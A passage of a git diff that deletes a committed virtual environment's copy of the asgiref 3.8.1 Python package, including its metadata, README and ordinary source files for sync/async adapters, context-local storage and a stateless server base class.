a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/INSTALLER b/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/LICENSE b/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/LICENSE deleted file mode 100644 index 5f4f225d..00000000 --- a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) Django Software Foundation and individual contributors. -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - 1. Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - 2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - - 3. Neither the name of Django nor the names of its contributors may be used - to endorse or promote products derived from this software without - specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/METADATA b/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/METADATA deleted file mode 100644 index a9ffa932..00000000 --- a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/METADATA +++ /dev/null @@ -1,246 +0,0 @@ -Metadata-Version: 2.1 -Name: asgiref -Version: 3.8.1 -Summary: ASGI specs, helper code, and adapters -Home-page: https://github.com/django/asgiref/ -Author: Django Software Foundation -Author-email: foundation@djangoproject.com -License: BSD-3-Clause -Project-URL: Documentation, https://asgi.readthedocs.io/ -Project-URL: Further Documentation, https://docs.djangoproject.com/en/stable/topics/async/#async-adapter-functions -Project-URL: Changelog, https://github.com/django/asgiref/blob/master/CHANGELOG.txt -Classifier: Development Status :: 5 - Production/Stable -Classifier: Environment :: Web Environment -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: BSD License -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Topic :: Internet :: WWW/HTTP -Requires-Python: >=3.8 -License-File: LICENSE -Requires-Dist: typing-extensions >=4 ; python_version < "3.11" -Provides-Extra: tests -Requires-Dist: pytest ; extra == 'tests' -Requires-Dist: pytest-asyncio ; extra == 'tests' -Requires-Dist: mypy >=0.800 ; extra == 'tests' - -asgiref -======= - -.. image:: https://github.com/django/asgiref/actions/workflows/tests.yml/badge.svg - :target: https://github.com/django/asgiref/actions/workflows/tests.yml - -.. image:: https://img.shields.io/pypi/v/asgiref.svg - :target: https://pypi.python.org/pypi/asgiref - -ASGI is a standard for Python asynchronous web apps and servers to communicate -with each other, and positioned as an asynchronous successor to WSGI. You can -read more at https://asgi.readthedocs.io/en/latest/ - -This package includes ASGI base libraries, such as: - -* Sync-to-async and async-to-sync function wrappers, ``asgiref.sync`` -* Server base classes, ``asgiref.server`` -* A WSGI-to-ASGI adapter, in ``asgiref.wsgi`` - - -Function wrappers ------------------ - -These allow you to wrap or decorate async or sync functions to call them from -the other style (so you can call async functions from a synchronous thread, -or vice-versa). - -In particular: - -* AsyncToSync lets a synchronous subthread stop and wait while the async - function is called on the main thread's event loop, and then control is - returned to the thread when the async function is finished. - -* SyncToAsync lets async code call a synchronous function, which is run in - a threadpool and control returned to the async coroutine when the synchronous - function completes. - -The idea is to make it easier to call synchronous APIs from async code and -asynchronous APIs from synchronous code so it's easier to transition code from -one style to the other. In the case of Channels, we wrap the (synchronous) -Django view system with SyncToAsync to allow it to run inside the (asynchronous) -ASGI server. - -Note that exactly what threads things run in is very specific, and aimed to -keep maximum compatibility with old synchronous code. See -"Synchronous code & Threads" below for a full explanation. By default, -``sync_to_async`` will run all synchronous code in the program in the same -thread for safety reasons; you can disable this for more performance with -``@sync_to_async(thread_sensitive=False)``, but make sure that your code does -not rely on anything bound to threads (like database connections) when you do. - - -Threadlocal replacement ------------------------ - -This is a drop-in replacement for ``threading.local`` that works with both -threads and asyncio Tasks. Even better, it will proxy values through from a -task-local context to a thread-local context when you use ``sync_to_async`` -to run things in a threadpool, and vice-versa for ``async_to_sync``. - -If you instead want true thread- and task-safety, you can set -``thread_critical`` on the Local object to ensure this instead. - - -Server base classes -------------------- - -Includes a ``StatelessServer`` class which provides all the hard work of -writing a stateless server (as in, does not handle direct incoming sockets -but instead consumes external streams or sockets to work out what is happening). - -An example of such a server would be a chatbot server that connects out to -a central chat server and provides a "connection scope" per user chatting to -it. There's only one actual connection, but the server has to separate things -into several scopes for easier writing of the code. - -You can see an example of this being used in `frequensgi `_. - - -WSGI-to-ASGI adapter --------------------- - -Allows you to wrap a WSGI application so it appears as a valid ASGI application. - -Simply wrap it around your WSGI application like so:: - - asgi_application = WsgiToAsgi(wsgi_application) - -The WSGI application will be run in a synchronous threadpool, and the wrapped -ASGI application will be one that accepts ``http`` class messages. - -Please note that not all extended features of WSGI may be supported (such as -file handles for incoming POST bodies). - - -Dependencies ------------- - -``asgiref`` requires Python 3.8 or higher. - - -Contributing ------------- - -Please refer to the -`main Channels contributing docs `_. - - -Testing -''''''' - -To run tests, make sure you have installed the ``tests`` extra with the package:: - - cd asgiref/ - pip install -e .[tests] - pytest - - -Building the documentation -'''''''''''''''''''''''''' - -The documentation uses `Sphinx `_:: - - cd asgiref/docs/ - pip install sphinx - -To build the docs, you can use the default tools:: - - sphinx-build -b html . _build/html # or `make html`, if you've got make set up - cd _build/html - python -m http.server - -...or you can use ``sphinx-autobuild`` to run a server and rebuild/reload -your documentation changes automatically:: - - pip install sphinx-autobuild - sphinx-autobuild . _build/html - - -Releasing -''''''''' - -To release, first add details to CHANGELOG.txt and update the version number in ``asgiref/__init__.py``. - -Then, build and push the packages:: - - python -m build - twine upload dist/* - rm -r build/ dist/ - - -Implementation Details ----------------------- - -Synchronous code & threads -'''''''''''''''''''''''''' - -The ``asgiref.sync`` module provides two wrappers that let you go between -asynchronous and synchronous code at will, while taking care of the rough edges -for you. - -Unfortunately, the rough edges are numerous, and the code has to work especially -hard to keep things in the same thread as much as possible. Notably, the -restrictions we are working with are: - -* All synchronous code called through ``SyncToAsync`` and marked with - ``thread_sensitive`` should run in the same thread as each other (and if the - outer layer of the program is synchronous, the main thread) - -* If a thread already has a running async loop, ``AsyncToSync`` can't run things - on that loop if it's blocked on synchronous code that is above you in the - call stack. - -The first compromise you get to might be that ``thread_sensitive`` code should -just run in the same thread and not spawn in a sub-thread, fulfilling the first -restriction, but that immediately runs you into the second restriction. - -The only real solution is to essentially have a variant of ThreadPoolExecutor -that executes any ``thread_sensitive`` code on the outermost synchronous -thread - either the main thread, or a single spawned subthread. - -This means you now have two basic states: - -* If the outermost layer of your program is synchronous, then all async code - run through ``AsyncToSync`` will run in a per-call event loop in arbitrary - sub-threads, while all ``thread_sensitive`` code will run in the main thread. - -* If the outermost layer of your program is asynchronous, then all async code - runs on the main thread's event loop, and all ``thread_sensitive`` synchronous - code will run in a single shared sub-thread. - -Crucially, this means that in both cases there is a thread which is a shared -resource that all ``thread_sensitive`` code must run on, and there is a chance -that this thread is currently blocked on its own ``AsyncToSync`` call. Thus, -``AsyncToSync`` needs to act as an executor for thread code while it's blocking. - -The ``CurrentThreadExecutor`` class provides this functionality; rather than -simply waiting on a Future, you can call its ``run_until_future`` method and -it will run submitted code until that Future is done. This means that code -inside the call can then run code on your thread. - - -Maintenance and Security ------------------------- - -To report security issues, please contact security@djangoproject.com. For GPG -signatures and more security process information, see -https://docs.djangoproject.com/en/dev/internals/security/. - -To report bugs or request new features, please open a new GitHub issue. - -This repository is part of the Channels project. For the shepherd and maintenance team, please see the -`main Channels readme `_. diff --git a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/RECORD b/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/RECORD deleted file mode 100644 index c5598c67..00000000 --- a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/RECORD +++ /dev/null @@ -1,27 +0,0 @@ -asgiref-3.8.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -asgiref-3.8.1.dist-info/LICENSE,sha256=uEZBXRtRTpwd_xSiLeuQbXlLxUbKYSn5UKGM0JHipmk,1552 -asgiref-3.8.1.dist-info/METADATA,sha256=Cbu67XPstSkMxAdA4puvY-FAzN9OrT_AasH7IuK6DaM,9259 -asgiref-3.8.1.dist-info/RECORD,, -asgiref-3.8.1.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92 -asgiref-3.8.1.dist-info/top_level.txt,sha256=bokQjCzwwERhdBiPdvYEZa4cHxT4NCeAffQNUqJ8ssg,8 -asgiref/__init__.py,sha256=kZzGpxWKY4rWDQrrrlM7bN7YKRAjy17Wv4w__djvVYU,22 -asgiref/__pycache__/__init__.cpython-311.pyc,, -asgiref/__pycache__/compatibility.cpython-311.pyc,, -asgiref/__pycache__/current_thread_executor.cpython-311.pyc,, -asgiref/__pycache__/local.cpython-311.pyc,, -asgiref/__pycache__/server.cpython-311.pyc,, -asgiref/__pycache__/sync.cpython-311.pyc,, -asgiref/__pycache__/testing.cpython-311.pyc,, -asgiref/__pycache__/timeout.cpython-311.pyc,, -asgiref/__pycache__/typing.cpython-311.pyc,, -asgiref/__pycache__/wsgi.cpython-311.pyc,, -asgiref/compatibility.py,sha256=DhY1SOpOvOw0Y1lSEjCqg-znRUQKecG3LTaV48MZi68,1606 -asgiref/current_thread_executor.py,sha256=EuowbT0oL_P4Fq8KTXNUyEgk3-k4Yh4E8F_anEVdeBI,3977 -asgiref/local.py,sha256=bNeER_QIfw2-PAPYanqAZq6yAAEJ-aio7e9o8Up-mgI,4808 -asgiref/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -asgiref/server.py,sha256=egTQhZo1k4G0F7SSBQNp_VOekpGcjBJZU2kkCoiGC_M,6005 -asgiref/sync.py,sha256=Why0YQV84vSp7IBBr-JDbxYCua-InLgBjuiCMlj9WgI,21444 -asgiref/testing.py,sha256=QgZgXKrwdq5xzhZqynr1msWOiTS3Kpastj7wHU2ePRY,3481 -asgiref/timeout.py,sha256=LtGL-xQpG8JHprdsEUCMErJ0kNWj4qwWZhEHJ3iKu4s,3627 -asgiref/typing.py,sha256=rLF3y_9OgvlQMaDm8yMw8QTgsO9Mv9YAc6Cj8xjvWo0,6264 -asgiref/wsgi.py,sha256=fxBLgUE_0PEVgcp13ticz6GHf3q-aKWcB5eFPhd6yxo,6753 diff --git a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/WHEEL b/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/WHEEL deleted file mode 100644 index bab98d67..00000000 --- a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: bdist_wheel (0.43.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/top_level.txt b/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/top_level.txt deleted file mode 100644 index ddf99d3d..00000000 --- a/backend/venv/Lib/site-packages/asgiref-3.8.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -asgiref diff --git a/backend/venv/Lib/site-packages/asgiref/__init__.py b/backend/venv/Lib/site-packages/asgiref/__init__.py deleted file mode 100644 index e4e78c0b..00000000 --- a/backend/venv/Lib/site-packages/asgiref/__init__.py +++ /dev/null @@ -1 +0,0 @@ -__version__ = "3.8.1" diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f7c69a65..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/compatibility.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/compatibility.cpython-311.pyc deleted file mode 100644 index 615e7654..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/compatibility.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/current_thread_executor.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/current_thread_executor.cpython-311.pyc deleted file mode 100644 index 33c8ce96..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/current_thread_executor.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/local.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/local.cpython-311.pyc deleted file mode 100644 index 5d411d8b..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/local.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/server.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/server.cpython-311.pyc deleted file mode 100644 index 7d4f34ba..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/server.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/sync.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/sync.cpython-311.pyc deleted file mode 100644 index 75d06470..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/sync.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/testing.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/testing.cpython-311.pyc deleted file mode 100644 index 1d2baf31..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/testing.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/timeout.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/timeout.cpython-311.pyc deleted file mode 100644 index 7ca7765a..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/timeout.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/typing.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/typing.cpython-311.pyc deleted file mode 100644 index 247cfa2b..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/typing.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/__pycache__/wsgi.cpython-311.pyc b/backend/venv/Lib/site-packages/asgiref/__pycache__/wsgi.cpython-311.pyc deleted file mode 100644 index 320fd36f..00000000 Binary files a/backend/venv/Lib/site-packages/asgiref/__pycache__/wsgi.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/asgiref/compatibility.py b/backend/venv/Lib/site-packages/asgiref/compatibility.py deleted file mode 100644 index 3a2a63e6..00000000 --- a/backend/venv/Lib/site-packages/asgiref/compatibility.py +++ /dev/null @@ -1,48 +0,0 @@ -import inspect - -from .sync import iscoroutinefunction - - -def is_double_callable(application): - """ - Tests to see if an application is a legacy-style (double-callable) application. - """ - # Look for a hint on the object first - if getattr(application, "_asgi_single_callable", False): - return False - if getattr(application, "_asgi_double_callable", False): - return True - # Uninstanted classes are double-callable - if inspect.isclass(application): - return True - # Instanted classes depend on their __call__ - if hasattr(application, "__call__"): - # We only check to see if its __call__ is a coroutine function - - # if it's not, it still might be a coroutine function itself. - if iscoroutinefunction(application.__call__): - return False - # Non-classes we just check directly - return not iscoroutinefunction(application) - - -def double_to_single_callable(application): - """ - Transforms a double-callable ASGI application into a single-callable one. - """ - - async def new_application(scope, receive, send): - instance = application(scope) - return await instance(receive, send) - - return new_application - - -def guarantee_single_callable(application): - """ - Takes either a single- or double-callable application and always returns it - in single-callable style. Use this to add backwards compatibility for ASGI - 2.0 applications to your server/test harness/etc. - """ - if is_double_callable(application): - application = double_to_single_callable(application) - return application diff --git a/backend/venv/Lib/site-packages/asgiref/current_thread_executor.py b/backend/venv/Lib/site-packages/asgiref/current_thread_executor.py deleted file mode 100644 index 67a7926f..00000000 --- a/backend/venv/Lib/site-packages/asgiref/current_thread_executor.py +++ /dev/null @@ -1,115 +0,0 @@ -import queue -import sys -import threading -from concurrent.futures import Executor, Future -from typing import TYPE_CHECKING, Any, Callable, TypeVar, Union - -if sys.version_info >= (3, 10): - from typing import ParamSpec -else: - from typing_extensions import ParamSpec - -_T = TypeVar("_T") -_P = ParamSpec("_P") -_R = TypeVar("_R") - - -class _WorkItem: - """ - Represents an item needing to be run in the executor. - Copied from ThreadPoolExecutor (but it's private, so we're not going to rely on importing it) - """ - - def __init__( - self, - future: "Future[_R]", - fn: Callable[_P, _R], - *args: _P.args, - **kwargs: _P.kwargs, - ): - self.future = future - self.fn = fn - self.args = args - self.kwargs = kwargs - - def run(self) -> None: - __traceback_hide__ = True # noqa: F841 - if not self.future.set_running_or_notify_cancel(): - return - try: - result = self.fn(*self.args, **self.kwargs) - except BaseException as exc: - self.future.set_exception(exc) - # Break a reference cycle with the exception 'exc' - self = None # type: ignore[assignment] - else: - self.future.set_result(result) - - -class CurrentThreadExecutor(Executor): - """ - An Executor that actually runs code in the thread it is instantiated in. - Passed to other threads running async code, so they can run sync code in - the thread they came from. - """ - - def __init__(self) -> None: - self._work_thread = threading.current_thread() - self._work_queue: queue.Queue[Union[_WorkItem, "Future[Any]"]] = queue.Queue() - self._broken = False - - def run_until_future(self, future: "Future[Any]") -> None: - """ - Runs the code in the work queue until a result is available from the future. - Should be run from the thread the executor is initialised in. - """ - # Check we're in the right thread - if threading.current_thread() != self._work_thread: - raise RuntimeError( - "You cannot run CurrentThreadExecutor from a different thread" - ) - future.add_done_callback(self._work_queue.put) - # Keep getting and running work items until we get the future we're waiting for - # back via the future's done callback. - try: - while True: - # Get a work item and run it - work_item = self._work_queue.get() - if work_item is future: - return - assert isinstance(work_item, _WorkItem) - work_item.run() - del work_item - finally: - self._broken = True - - def _submit( - self, - fn: Callable[_P, _R], - *args: _P.args, - **kwargs: _P.kwargs, - ) -> "Future[_R]": - # Check they're not submitting from the same thread - if threading.current_thread() == self._work_thread: - raise RuntimeError( - "You cannot submit onto CurrentThreadExecutor from its own thread" - ) - # Check they're not too late or the executor errored - if self._broken: - raise RuntimeError("CurrentThreadExecutor already quit or is broken") - # Add to work queue - f: "Future[_R]" = Future() - work_item = _WorkItem(f, fn, *args, **kwargs) - self._work_queue.put(work_item) - # Return the future - return f - - # Python 3.9+ has a new signature for submit with a "/" after `fn`, to enforce - # it to be a positional argument. If we ignore[override] mypy on 3.9+ will be - # happy but 3.8 will say that the ignore comment is unused, even when - # defining them differently based on sys.version_info. - # We should be able to remove this when we drop support for 3.8. - if not TYPE_CHECKING: - - def submit(self, fn, *args, **kwargs): - return self._submit(fn, *args, **kwargs) diff --git a/backend/venv/Lib/site-packages/asgiref/local.py b/backend/venv/Lib/site-packages/asgiref/local.py deleted file mode 100644 index a8b9459b..00000000 --- a/backend/venv/Lib/site-packages/asgiref/local.py +++ /dev/null @@ -1,128 +0,0 @@ -import asyncio -import contextlib -import contextvars -import threading -from typing import Any, Dict, Union - - -class _CVar: - """Storage utility for Local.""" - - def __init__(self) -> None: - self._data: "contextvars.ContextVar[Dict[str, Any]]" = contextvars.ContextVar( - "asgiref.local" - ) - - def __getattr__(self, key): - storage_object = self._data.get({}) - try: - return storage_object[key] - except KeyError: - raise AttributeError(f"{self!r} object has no attribute {key!r}") - - def __setattr__(self, key: str, value: Any) -> None: - if key == "_data": - return super().__setattr__(key, value) - - storage_object = self._data.get({}) - storage_object[key] = value - self._data.set(storage_object) - - def __delattr__(self, key: str) -> None: - storage_object = self._data.get({}) - if key in storage_object: - del storage_object[key] - self._data.set(storage_object) - else: - raise AttributeError(f"{self!r} object has no attribute {key!r}") - - -class Local: - """Local storage for async tasks. - - This is a namespace object (similar to `threading.local`) where data is - also local to the current async task (if there is one). - - In async threads, local means in the same sense as the `contextvars` - module - i.e. a value set in an async frame will be visible: - - - to other async code `await`-ed from this frame. - - to tasks spawned using `asyncio` utilities (`create_task`, `wait_for`, - `gather` and probably others). - - to code scheduled in a sync thread using `sync_to_async` - - In "sync" threads (a thread with no async event loop running), the - data is thread-local, but additionally shared with async code executed - via the `async_to_sync` utility, which schedules async code in a new thread - and copies context across to that thread. - - If `thread_critical` is True, then the local will only be visible per-thread, - behaving exactly like `threading.local` if the thread is sync, and as - `contextvars` if the thread is async. This allows genuinely thread-sensitive - code (such as DB handles) to be kept stricly to their initial thread and - disable the sharing across `sync_to_async` and `async_to_sync` wrapped calls. - - Unlike plain `contextvars` objects, this utility is threadsafe. - """ - - def __init__(self, thread_critical: bool = False) -> None: - self._thread_critical = thread_critical - self._thread_lock = threading.RLock() - - self._storage: "Union[threading.local, _CVar]" - - if thread_critical: - # Thread-local storage - self._storage = threading.local() - else: - # Contextvar storage - self._storage = _CVar() - - @contextlib.contextmanager - def _lock_storage(self): - # Thread safe access to storage - if self._thread_critical: - try: - # this is a test for are we in a async or sync - # thread - will raise RuntimeError if there is - # no current loop - asyncio.get_running_loop() - except RuntimeError: - # We are in a sync thread, the storage is - # just the plain thread local (i.e, "global within - # this thread" - it doesn't matter where you are - # in a call stack you see the same storage) - yield self._storage - else: - # We are in an async thread - storage is still - # local to this thread, but additionally should - # behave like a context var (is only visible with - # the same async call stack) - - # Ensure context exists in the current thread - if not hasattr(self._storage, "cvar"): - self._storage.cvar = _CVar() - - # self._storage is a thread local, so the members - # can't be accessed in another thread (we don't - # need any locks) - yield self._storage.cvar - else: - # Lock for thread_critical=False as other threads - # can access the exact same storage object - with self._thread_lock: - yield self._storage - - def __getattr__(self, key): - with self._lock_storage() as storage: - return getattr(storage, key) - - def __setattr__(self, key, value): - if key in ("_local", "_storage", "_thread_critical", "_thread_lock"): - return super().__setattr__(key, value) - with self._lock_storage() as storage: - setattr(storage, key, value) - - def __delattr__(self, key): - with self._lock_storage() as storage: - delattr(storage, key) diff --git a/backend/venv/Lib/site-packages/asgiref/py.typed b/backend/venv/Lib/site-packages/asgiref/py.typed deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/asgiref/server.py b/backend/venv/Lib/site-packages/asgiref/server.py deleted file mode 100644 index 43c28c6c..00000000 --- a/backend/venv/Lib/site-packages/asgiref/server.py +++ /dev/null @@ -1,157 +0,0 @@ -import asyncio -import logging -import time -import traceback - -from .compatibility import guarantee_single_callable - -logger = logging.getLogger(__name__) - - -class StatelessServer: - """ - Base server class that handles basic concepts like application instance - creation/pooling, exception handling, and similar, for stateless protocols - (i.e. ones without actual incoming connections to the process) - - Your code should override the handle() method, doing whatever it needs to, - and calling get_or_create_application_instance with a unique `scope_id` - and `scope` for the scope it wants to get. - - If an application instance is found with the same `scope_id`, you are - given its input queue, otherwise one is made for you with the scope provided - and you are given that fresh new input queue. Either way, you should do - something like: - - input_queue = self.get_or_create_application_instance( - "user-123456", - {"type": "testprotocol", "user_id": "123456", "username": "andrew"}, - ) - input_queue.put_nowait(message) - - If you try and create an application instance and there are already - `max_application` instances, the oldest/least recently used one will be - reclaimed and shut down to make space. - - Application coroutines that error will be found periodically (every 100ms - by default) and have their exceptions printed to the console. Override - application_exception() if you want to do more when this happens. - - If you override run(), make sure you handle things like launching the - application checker. - """ - - application_checker_interval = 0.1 - - def __init__(self, application, max_applications=1000): - # Parameters - self.application = application - self.max_applications = max_applications - # Initialisation - self.application_instances = {} - - ### Mainloop and handling - - def run(self): - """ - Runs the asyncio event loop with our handler loop. - """ - event_loop = asyncio.get_event_loop() - asyncio.ensure_future(self.application_checker()) - try: - event_loop.run_until_complete(self.handle()) - except KeyboardInterrupt: - logger.info("Exiting due to Ctrl-C/interrupt") - - async def handle(self): - raise NotImplementedError("You must implement handle()") - - async def application_send(self, scope, message): - """ - Receives outbound sends from applications and handles them. - """ - raise NotImplementedError("You must implement application_send()") - - ### Application instance management - - def get_or_create_application_instance(self, scope_id, scope): - """ - Creates an application instance and returns its queue. - """ - if scope_id in self.application_instances: - self.application_instances[scope_id]["last_used"] = time.time() - return self.application_instances[scope_id]["input_queue"] - # See if we need to delete an old one - while len(self.application_instances) > self.max_applications: - self.delete_oldest_application_instance() - # Make an instance of the application - input_queue = asyncio.Queue() - application_instance = guarantee_single_callable(self.application) - # Run it, and stash the future for later checking - future = asyncio.ensure_future( - application_instance( - scope=scope, - receive=input_queue.get, - send=lambda message: self.application_send(scope, message), - ), - ) - self.application_instances[scope_id] = { - "input_queue": input_queue, - "future": future, - "scope": scope, - "last_used": time.time(), - } - return input_queue - - def delete_oldest_application_instance(self): - """ - Finds and deletes the oldest application instance - """ - oldest_time = min( - details["last_used"] for details in self.application_instances.values() - ) - for scope_id, details in self.application_instances.items(): - if details["last_used"] == oldest_time: - self.delete_application_instance(scope_id) - # Return to make sure we only delete one in case two have - # the same oldest time - return - - def delete_application_instance(self, scope_id): - """ - Removes an application instance (makes sure its task is stopped, - then removes it from the current set) - """ - details = self.application_instances[scope_id] - del self.application_instances[scope_id] - if not details["future"].done(): - details["future"].cancel() - - async def application_checker(self): - """ - Goes through the set of current application instance Futures and cleans up - any that are done/prints exceptions for any that errored. - """ - while True: - await asyncio.sleep(self.application_checker_interval) - for scope_id, details in list(self.application_instances.items()): - if details["future"].done(): - exception = details["future"].exception() - if exception: - await self.application_exception(exception, details) - try: - del self.application_instances[scope_id] - except KeyError: - # Exception handling might have already got here before us. That's fine. - pass - - async def application_exception(self, exception, application_details): - """ - Called whenever an application coroutine has an exception. - """ - logging.error( - "Exception inside application: %s\n%s%s", - exception, - "".join(traceback.format_tb(exception.__traceback__)), - f" {exception}", - ) diff --git a/backend/venv/Lib/site-packages/asgiref/sync.py b/backend/venv/Lib/site-packages/asgiref/sync.py deleted file mode 100644 index 4427fc2a..00000000 --- a/backend/venv/Lib/site-packages/asgiref/sync.py +++ /dev/null @@ -1,613 +0,0 @@ -import asyncio -import asyncio.coroutines -import contextvars -import functools -import inspect -import os -import sys -import threading -import warnings -import weakref -from concurrent.futures import Future, ThreadPoolExecutor -from typing import ( - TYPE_CHECKING, - Any, - Awaitable, - Callable, - Coroutine, - Dict, - Generic, - List, - Optional, - TypeVar, - Union, - overload, -) - -from .current_thread_executor import CurrentThreadExecutor -from .local import Local - -if sys.version_info >= (3, 10): - from typing import ParamSpec -else: - from typing_extensions import ParamSpec - -if TYPE_CHECKING: - # This is not available to import at runtime - from _typeshed import OptExcInfo - -_F = TypeVar("_F", bound=Callable[..., Any]) -_P = ParamSpec("_P") -_R = TypeVar("_R") - - -def _restore_context(context: contextvars.Context) -> None: - # Check for changes in contextvars, and set them to the current - # context for downstream consumers - for cvar in context: - cvalue = context.get(cvar) - try: - if cvar.get() != cvalue: - cvar.set(cvalue) - except LookupError: - cvar.set(cvalue) - - -# Python 3.12 deprecates asyncio.iscoroutinefunction() as an alias for -# inspect.iscoroutinefunction(), whilst also removing the _is_coroutine marker. -# The latter is replaced with the inspect.markcoroutinefunction decorator. -# Until 3.12 is the minimum supported Python version, provide a shim. - -if hasattr(inspect, "markcoroutinefunction"): - iscoroutinefunction = inspect.iscoroutinefunction - markcoroutinefunction: Callable[[_F], _F] = inspect.markcoroutinefunction -else: - iscoroutinefunction = asyncio.iscoroutinefunction # type: ignore[assignment] - - def markcoroutinefunction(func: _F) -> _F: - func._is_coroutine = asyncio.coroutines._is_coroutine # type: ignore - return func - - -class ThreadSensitiveContext: - """Async context manager to manage context for thread sensitive mode - - This context manager controls which thread pool executor is used when in - thread sensitive mode. By default, a single thread pool executor is shared - within a process. - - The ThreadSensitiveContext() context manager may be used to specify a - thread pool per context. - - This context manager is re-entrant, so only the outer-most call to - ThreadSensitiveContext will set the context. - - Usage: - - >>> import time - >>> async with ThreadSensitiveContext(): - ... await sync_to_async(time.sleep, 1)() - """ - - def __init__(self): - self.token = None - - async def __aenter__(self): - try: - SyncToAsync.thread_sensitive_context.get() - except LookupError: - self.token = SyncToAsync.thread_sensitive_context.set(self) - - return self - - async def __aexit__(self, exc, value, tb): - if not self.token: - return - - executor = SyncToAsync.context_to_thread_executor.pop(self, None) - if executor: - executor.shutdown() - 